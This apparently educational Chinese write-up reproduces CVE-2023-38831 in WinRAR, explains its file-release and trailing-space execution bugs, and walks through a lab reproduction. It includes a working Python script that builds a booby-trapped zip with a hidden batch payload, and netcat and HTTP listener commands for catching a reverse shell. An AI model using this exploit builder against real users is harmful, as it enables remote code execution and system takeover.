(ps:本人是小白,复现漏洞来进行安全学习,也借鉴了许多大佬的研究内容,感谢各位大佬进行指导和点评。)
[漏洞名称]:CVE漏洞复现-CVE-2023-38831 WinRAR代码执行漏洞
[漏洞描述]:
WinRAR是一款功能强大的Windows文件压缩和解压缩工具,支持高效的压缩算法、密码保护、分卷压缩、恢复记录等功能,同时提供图形和命令行界面,以及自解压缩功能,为用户提供便捷且安全的文件管理和传输工具。
在zip文件格式中,使用了ZIPDIRENTRY结构体来管理压缩包内的文件和文件夹信息,包括名称、名称长度和修改日期等。WinRAR允许用户预览和执行压缩包内文件。但由于字符串比较代码的问题,当用户打开zip压缩包并执行文件时,WinRAR可能会错误地释放非用户所选的文件。
WinRAR使用了ShellExecuteExW来启动目标文件,这是Windows系统的一个API函数,用于执行目标文件操作。然而,当文件路径字符串末尾存在空格时,该API会在路径末尾添加通配符“.*”并搜索匹配的文件来执行,导致了非目标文件的执行。
综上所述,这个漏洞的触发包含两个环节:
a.文件释放:由于文件名字符串的比较函数存在一定的问题,导致了非目标文件被释放;
b.文件执行:释放的文件经ShellExecuteExW执行,当路径字符串末尾有空格时,可能会导致路径下其他特定文件的执行。
[影响版本]:WinRAR < 6.23
[复现过程]:
准备好WinRAR小于6.23的版本,这里我随便下载安装了一个5.90版本。
文件释放:
创建一个文件夹,随意命名,这里我命名为SF(释放),在文件夹中创建以下内容。
(文本文档内容为空就行)
再在此文件夹同一个位置创建一个名称为“test_.txt”(与上一个文件夹中的文本文档命名一致即可)的文件夹,并在文件夹中创建以下内容。
(文本文档内容同样为空就行)
将SF文件夹中的内容添加到压缩包中,同时附加上test_.txt文件夹。
点击确定,查看压缩包内容。
打开C:\Users\admin\AppData\Local\Temp检查点击之前的内容。
在压缩包中打开test_.txt文本文档,在查看Temp文件夹中的内容。
此时就会发现,winrar同样将test_.txt文件夹中的内容也解压下来了。
通过查阅资料和逆向工程等方式,发现WinRAR旧版本存在以下代码:
也就是说,如果我们要解压的文件为“test_.txt”,就会有三种类型的字符串被匹配:“test_.txt”、“test_.txt\*”、“test_.txt/*”(*表示任意字符串),比如“test_.txt\2.txt”、““test_.txt\3.txt”。就会偷偷将这两个文件连同源文件一起解压下来。
文件执行:
创建一个文件夹,随意命名,这里我命名为“ZX”(执行),在文件夹中准备以下内容.
在ima文件夹中随意放置一个图片,同时将图片命名为“test.jpg”.
在test.jpg文件夹中创建一个“test.jpg .cmd”程序(jpg后面有一个空格),内容为:
将test.jpg文件夹添加到压缩包,同时也将ima文件夹中的图片添加进去:
打开压缩包。
发现图片没有变化,还是正常的图片。
我们重命名图片,在图片名称后面加一个空格。
此时图片类型变成了文件。我们双击打开这个文件。
弹出cmd,并打开了计算机,执行了test.jpg文件夹中的cmd文件。
同样,通过查阅文章资料和逆向工程等方式,得到以下内容:
发现其中有两个关键函数PathFindExtensionW和sub_180206AE0。
PathFindExtensionW是KernelBase.dll的一个导出函数,用于从一个文件名中提取出扩展名所在位置的字符串指针,如传入参数为“C:\Windows\test.exe”时,返回值为指向这个字符串的“.exe”位置的指针。
同时,可以看到它调用了另一个函数PathCchFindExtension,这个子函数是提取扩展名字符串的关键函数,代码逻辑也很简单,遍历文件路径字符串,查找末尾“.*”的位置。
需要注意的是,windows下的文件名称本身(不包括路径),是不可以含有正反斜杠和空格的。
我们只是在调用API,我们可以给它传任意参数,比如说"C:\Windows\test.exe ",注意这里test.exe后面有个空格。
PathCchFindExtension返回给PathFindExtensionW一个指向了0的字符串,PathFindExtensionW又把这个指针返回给CShellExecute::_PerformantBindCtx。
然后就会导致函数sub_180206AE0被执行,这个函数就负责给文件名加上通配符,然后在路径下查找匹配的文件:
监听上线:
打开kali虚拟机,开启一个终端,输入命令python -m http.server,启动HTTP服务监听,让受害者的机器可以下载该程序。
打开一个新的终端,输入命令nc -lnvp 4444,启动端口监听。
打开一个win10虚拟机作为靶机,制作一个脚本文件:
(ip地址为kali的ip地址)
保存后将文件后缀名改为bat。
之后在相同路径下保存一个py文件,内容为:
import shutil
import os, sys
from os.path import join
TEMPLATE_NAME = "TEMPLATE"
OUTPUT_NAME = "poc.zip"
BAIT_NAME = "test.png"
SCRIPT_NAME = "script.bat"
if len(sys.argv) > 3:
BAIT_NAME = os.path.basename(sys.argv[1])
SCRIPT_NAME = os.path.basename(sys.argv[2])
OUTPUT_NAME = os.path.basename(sys.argv[3])
elif len(sys.argv) == 2 and sys.argv[1] == "poc":
pass
else:
print("""Usage:
python .\make.py poc
python .\make.py <BAIT_NAME> <SCRIPT_NAME> <OUTPUT_NAME>""")
sys.exit()
BAIT_EXT = b"." + bytes(BAIT_NAME.split(".")[-1], "utf-8")
print("BAIT_NAME:", BAIT_NAME)
print("SCRIPT_NAME:", SCRIPT_NAME)
print("OUTPUT_NAME:", OUTPUT_NAME)
if os.path.exists(TEMPLATE_NAME):
shutil.rmtree(TEMPLATE_NAME)
os.mkdir(TEMPLATE_NAME)
d = join(TEMPLATE_NAME, BAIT_NAME + "A")
if not os.path.exists(d):
os.mkdir(d)
shutil.copyfile(join(SCRIPT_NAME), join(d, BAIT_NAME+"A.cmd"))
shutil.copyfile(join(BAIT_NAME), join(TEMPLATE_NAME, BAIT_NAME+"B"))
# if os.path.exists(OUTPUT_NAME):
# print("!!! dir %s exists, delete it first" %(OUTPUT_NAME))
# sys.exit()
shutil.make_archive(TEMPLATE_NAME, 'zip', TEMPLATE_NAME)
with open(TEMPLATE_NAME + ".zip", "rb") as f:
content = f.read()
content = content.replace(BAIT_EXT + b"A", BAIT_EXT + b" ")
content = content.replace(BAIT_EXT + b"B", BAIT_EXT + b" ")
os.remove(TEMPLATE_NAME + ".zip")
with open(OUTPUT_NAME, "wb") as f:
f.write(content)
print("ok..")
并把这个py文件命名为make.py。
最后准备一张名称为test.png的图片,将图片与上面两个文件放到同一个路径下。
然后在该目录下,打开终端执行命令python .\make.py test.png script.bat poc.zip
生成名为poc.zip的利用文件:
接下来,需要用WinRAR存在漏洞的版本中打开POC文件。
双击名称为test.png的文件,触发漏洞。
快速弹出cmd文件,并最后显示出原来的图片。
(速度太快没有截图到)
同时我们的Kali机器也收到了受害者机器的Shell终端:
文章参考:CVE漏洞复现-CVE-2023-38831 WinRAR代码执行漏洞-CSDN博客
Winrar代码执行漏洞(CVE-2023-38831)的原理分析 - 好鱼233 - 博客园 (cnblogs.com)